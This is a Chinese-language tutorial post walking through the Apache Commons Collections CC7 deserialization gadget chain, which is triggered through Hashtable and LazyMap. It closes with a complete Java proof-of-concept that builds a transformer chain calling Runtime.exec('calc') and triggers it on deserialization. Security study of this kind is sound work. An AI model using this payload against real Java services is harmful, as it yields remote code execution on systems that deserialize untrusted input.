引子
CC7和CC6其实差不多,只不过这里的触发用到了Hashtable类,这次就跟一下这个作为CC链的完结篇。首先看一下前置知识,cc6使用了HashMap和HashSet,cc7使用的是Hashtable。
Hashtable类
我们先看看里面重写的readobject方法:
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
// Read in the length, threshold, and loadfactor
s.defaultReadObject();
// Read the original length of the array and number of elements
int origlength = s.readInt();
int elements = s.readInt();
// Compute new size with a bit of room 5% to grow but
// no larger than the original size. Make the length
// odd if it's large enough, this helps distribute the entries.
// Guard against the length ending up zero, that's not valid.
int length = (int)(elements * loadFactor) + (elements / 20) + 3;
if (length > elements && (length & 1) == 0)
length--;
if (origlength > 0 && length > origlength)
length = origlength;
table = new Entry<?,?>[length];
threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
count = 0;
// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// synch could be eliminated for performance
reconstitutionPut(table, key, value);
}
}
可以看到,在最后调用了reconstitutionPut方法。整个看下来会发现通过reconstitutionPut方法将反序列化流中的元素重新放入table数组中。我们继续跟进。
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}
可以看到if判断的第二个条件,第二个条件调用了e.key.equals
方法,我们假设赋值key为LazyMap,那么就调用了LazyMap.equals。LazyMap没有equals方法,那么调用的就是其父类的equals方法,也就是AbstractMapDecorator的equals方法。
public boolean equals(Object object) {
//是否为同一对象(比较引用)
if (object == this) {
return true;
}
//调用HashMap的equals方法
return map.equals(object);
}
这里的话
return map.equals(object);
map由于我们LazyMap传入的是HashMap所以会跳到HashMap寻找equals方法,而HashMap是没有equals方法的,所以我们跟到它的父类AbstractMap。
public boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
进入一系列的判断,是否为同一对象,对象的运行类型,Map中元素的个数。最后执行get方法。
m.get(key)
m即为我们设定的LazyMap,也就是LazyMap.get(),之后就是CC6链的部分了。判断传入的key是否存在,如果不在则会进入if语句中调用transform方法,这个方法会调用Transformer数组中的核心利用代码构造命令执行环境,从而产生漏洞。
注意
hash碰撞问题:
也就是Hashtable.reconstitutionPut()哈希碰撞问题,根据代码我们跟进hashcode(),LazyMap调用hashCode方法,实际上会调用AbstractMap抽象类的hashCode方法。跟到最底层会发现
调用了字符串的包装类String的hashCode方法,hashCode方法通过字符的ascii码值计算得到hash值,而yso里的“yy”与“zZ”得到的值是一样的,这就是为什么payload会先传入这两个值。
lazyMap1.put("yy", 1);
lazyMap2.put("zZ", 1);
AbstractMap.equals()个数问题:
Hashtable在调用put方法添加元素的时候会调用equals方法判断是否为同一对象,而在equals中会调用LazyMap的get方法添加一个元素(yy=yy),如果lazyMap2和lazyMap1中的元素个数不一样则直接返回false,那么也就不会触发漏洞。所以我们可以这样:在添加第二个元素后,lazyMap2需要调用remove方法删除元素
lazyMap2.remove("yy");
POC
package com.cc;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
/*
基于Hashtable的利用链
*/
public class CC7Test {
public static void main(String[] args) throws Exception {
//构造核心利用代码
final Transformer transformerChain = new ChainedTransformer(new Transformer[0]);
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc"}),
new ConstantTransformer(1)};
//使用Hashtable来构造利用链调用LazyMap
Map hashMap1 = new HashMap();
Map hashMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(hashMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(hashMap2, transformerChain);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 1);
lazyMap2.remove("yy");
//输出两个元素的hash值
System.out.println("lazyMap1 hashcode:" + lazyMap1.hashCode());
System.out.println("lazyMap2 hashcode:" + lazyMap2.hashCode());
//iTransformers = transformers(反射)
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers);
//序列化 --> 反序列化(hashtable)
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashtable);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}
结尾
CC链目前就跟到了CC7链,先告一段落学点别的东西,之后有空的话再继续深入学习把。希望能帮到大家。